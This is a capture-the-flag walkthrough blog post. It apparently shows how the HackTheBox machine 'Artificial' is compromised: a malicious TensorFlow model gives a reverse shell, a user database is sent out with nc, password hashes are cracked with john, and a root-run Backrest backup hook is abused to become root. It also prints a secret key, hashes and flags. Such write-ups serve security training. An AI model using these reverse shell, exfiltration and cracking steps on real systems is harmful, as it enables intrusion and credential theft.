HackTheBox | Artificial

In this walkthrough, I demonstrate how I obtained complete ownership of Artificial on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Artificial from Hack The Box!
I have just owned machine Artificial from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon Jun 23 12:05:02 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.13.91
Nmap scan report for 10.129.13.91
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 23 12:05:21 2025 -- 1 IP address (1 host up) scanned in 19.43 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. In the HTTP output, there is a redirect to http://artificial.htb, which we should add to our /etc/hosts file.
echo -e '10.129.13.91\t\tartificial.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.

When an application offers you the opportunity to register for an account, do so, as this may open up additional attack surface.

Username is reflected on the page

The web application seems to indicate we need to install some Python modules and use their Docker file to build an AI model and upload it to the server.

Inspecting the requirements.txt and Dockerfile links
Indicates we should provide files with extension .h5, for now I just tried a simple .png file
Doesn't seem to throw any errors about the .png file upload
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What We Know So Far

The web application has a pretty small attack surface:

  • Registration and Login Forms
    • Injection Attacks
      • Test for potential SQL injection
      • Username is reflected on the page
        • Could allow for potential XSS if special characters are allowed in the username, but probably won't help much with this box
  • File Upload
    • Remote Code Execution
      • Malicious AI Model
        • The application expects us to install some Python requirements and use a Docker image to create model for upload
        • 💡 There's a sample model on the home page we may be able to leverage
        • Perhaps we can gain code execution via malicious model
          • Has a Python requirement of tensorflow-cpu==2.13.1, so worth researching that a bit more for CVEs
      • Abusing Server Technology
        • The web form accepts .h5 files, but we don't necessarily have to respect this
        • We can try uploading files with other file extensions and see if the application filters them
        • Depending on the server technology at play, this may lead to code execution
          • The web server is Nginx, but that doesn't always have the PHP-FPM module enabled

More Enumeration

gobuster dir -u http://artificial.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 100 -o dir.txt -H 'Cookie: session=eyJ1c2VyX2lkIjo2LCJ1c2VybmFtZSI6InRlc3QifQ.aFmBoA.eHvUOe1hb4KxOhy-3L93NMcY71M'

gobuster dir mode (authenticated with cookie)

/dashboard            (Status: 200) [Size: 5670]
/login                (Status: 200) [Size: 857]
/logout               (Status: 302) [Size: 189] [--> /]
/register             (Status: 200) [Size: 952]

Nothing new here

gobuster vhost -k --domain 'artificial.htb' --append-domain -u http://10.129.13.91 -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 100 -o vhost.txt

Scan for additional virtual hosts on the web server, none found



CVE Research

Google Search

Google search query I used

GitHub - Splinter0/tensorflow-rce: RCE PoC for Tensorflow using a malicious Lambda layer
RCE PoC for Tensorflow using a malicious Lambda layer - Splinter0/tensorflow-rce

First result looks interesting





Exploit

Malicious AI Model to Reverse Shell

ℹ️
The web app gives you a Python dependency and a Docker file to produce models for the environment. I am going to be using Docker host on Proxmox to create the malicious model. But, you can easily install Docker on Kali by following this article.
Installing Docker on Kali Linux | Kali Linux Documentation
To install Docker on Kali you need to remember that there is already a package named “docker”, therefore Docker has to be installed under a different name. If you install docker you will not end up with the container version. The version we will be installing is named docker.io. All commands are the same however, so running docker on the command line will be the appropriate command:
mkdir ./malicious_model
cd malicious_model
nano Dockerfile

Copy and paste the contents of the Docker file in here

docker build -t artificial-env .

Will download all of the dependencies for this Docker image and project

docker run -it artificial-env
You now have a shell inside the Docker container
GitHub - Splinter0/tensorflow-rce: RCE PoC for Tensorflow using a malicious Lambda layer
RCE PoC for Tensorflow using a malicious Lambda layer - Splinter0/tensorflow-rce

We can use exploit.py from this repo to create a malicious .h5

curl -s https://raw.githubusercontent.com/Splinter0/tensorflow-rce/refs/heads/main/exploit.py | sed 's/127\.0\.0\.1\ 6666/10.10.14.161 443/g' > exploit.py

Use curl to download exploit.py contents and replace the reverse shell IP and port

python exploit.py

Run the script and output exploit.h5

If running in a separate Docker host, transfer back to Kali
sudo rlwrap nc -lnvp 443

Start a TCP listener on Kali to catch a reverse shell

Once uploaded to the target, click "View Predictions"





Post-Exploit Enumeration

Operating Environment

OS & Kernel

NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

Linux artificial 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=1001(app) gid=1001(app) groups=1001(app)

Sorry, user app may not run sudo on artificial.



Users and Groups

Local Users

gael:x:1000:1000:gael:/home/gael:/bin/bash   

Local Groups

gael:x:1000:gael
app:x:1001:
sysadm:x:1007:gael    



Network Configurations

Network Interfaces

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:bd:e0 brd ff:ff:ff:ff:ff:ff
    inet 10.129.13.91/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3196sec preferred_lft 3196sec
    inet6 dead:beef::250:56ff:feb0:bde0/64 scope global dynamic mngtmpaddr 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:feb0:bde0/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp    LISTEN    0        4096       127.0.0.53%lo:53             0.0.0.0:*                                                                                     
tcp    LISTEN    0        2048           127.0.0.1:5000           0.0.0.0:*      users:(("gunicorn",pid=3218,fd=7),("gunicorn",pid=987,fd=7),("gunicorn",pid=986,fd=7),("gunicorn",pid=984,fd=7),("gunicorn",pid=940,fd=7))
tcp    LISTEN    0        4096           127.0.0.1:9898           0.0.0.0:*    



Processes and Services

Interesting Services

systemctl list-units --type=service --state=running
  app.service                 loaded active running App
  backrest.service            loaded active running Backrest Service
systemctl status backrest
     Loaded: loaded (/etc/systemd/system/backrest.service; enabled; vendor preset: enabled)
cat /etc/systemd/system/backrest.service
[Unit]
Description=Backrest Service
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/backrest
Environment="BACKREST_PORT=127.0.0.1:9898"
Environment="BACKREST_CONFIG=/opt/backrest/.config/backrest/config.json"
Environment="BACKREST_DATA=/opt/backrest"
Environment="BACKREST_RESTIC_COMMAND=/opt/backrest/restic"

[Install]
WantedBy=multi-user.target



Interesting Files

/home/app/app/app.py

app = Flask(__name__)
app.secret_key = "Sup3rS3cr3tKey4rtIfici4L"

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'

/home/app/app/instance/users.db

strings ./instance/users.db





Privilege Escalation

Lateral to Gael

During the post-exploit enumeration phase, we found references to a SQLite database in the /home/app/app/app.py file. Using strings installed on the target, we can see password hashes in the database which seem to be simple MD5 hashes and should easily crack.

sudo nc -q 3 -lnvp 23 > users.db

Start a socket to receive the database file from the target

nc -q 3 10.10.14.161 23 < /home/app/app/instance/users.db

Transfer back to Kali

sqlite3 users.db '.tables'

List tables in the database

sqlite3 users.db 'SELECT * FROM user;' |
cut -d '|' -f 2,4 | tr '|' ':' > hashes.txt
john --wordlist=~/Pentest/WordLists/rockyou.txt --format=Raw-MD5 --fork=4 hashes.txt
royer is not a user on the system
ssh gael@artificial.htb

Enter the password when prompted



Exploring Backrest Service

GitHub - garethgeorge/backrest: Backrest is a web UI and orchestrator for restic backup.
Backrest is a web UI and orchestrator for restic backup. - garethgeorge/backrest
ssh gael@artificial.htb -f -N -L 127.0.0.1:9898:127.0.0.1:9898
Getting Started
This guide will walk you through the basic steps to setup a new Backrest instance.

Wiki for Backrest

💡
Doing some reading on the Backrest app wiki, the overall function of the app is a GUI wrapper on top of the restic CLI tool. Since the purpose of this tool is to manage backups, my first instinct was to check if any existing backups are lingering on the system.
We have access to this file as members of the sysadm group
scp gael@artificial.htb:/var/backups/backrest_backup.tar.gz .
Copied file to Kali for inspection
tar -xvf backrest_backup.tar.gz

File is a regular TAR archive and not compressed with gzip upon inspection

We now have the bcrypt hash and the username running the app, but it looks Base64-encoded
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > hash.txt
john --wordlist=~/Pentest/WordLists/rockyou.txt --fork=4 hash.txt



Becoming Root

First thing I did is try and su root to see if the password is also the root user's password, but no luck. So, I imagine we'll need to log into the Backrest app and abuse the functionality somehow, since the service is running as root.

Add a Repo

ℹ️
I had a brief walk through the wiki on creating a repo and plan. When clicking around, I noticed that we can trigger system commands under various conditions when executing the plan.
This is good enough for the sake of this exercise, click Submit


Add a Plan

Again, good enough, scroll down...
Hover over + Add Hook ... Click Command ...
  • CONDITION_SNAPSHOT_START triggers the command when the backup job runs
  • Script is obviously the shell command to run
  • ON_ERROR_IGNORE continues the job, ignoring any command errors

Trigger the Backup Job

Click Backup Now
Before and after backup run



Flags

User

422a46be47fa94cdebc0f647e0aba8d7   

Root

7ae93916b1b803e769c0813468dcd468   
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.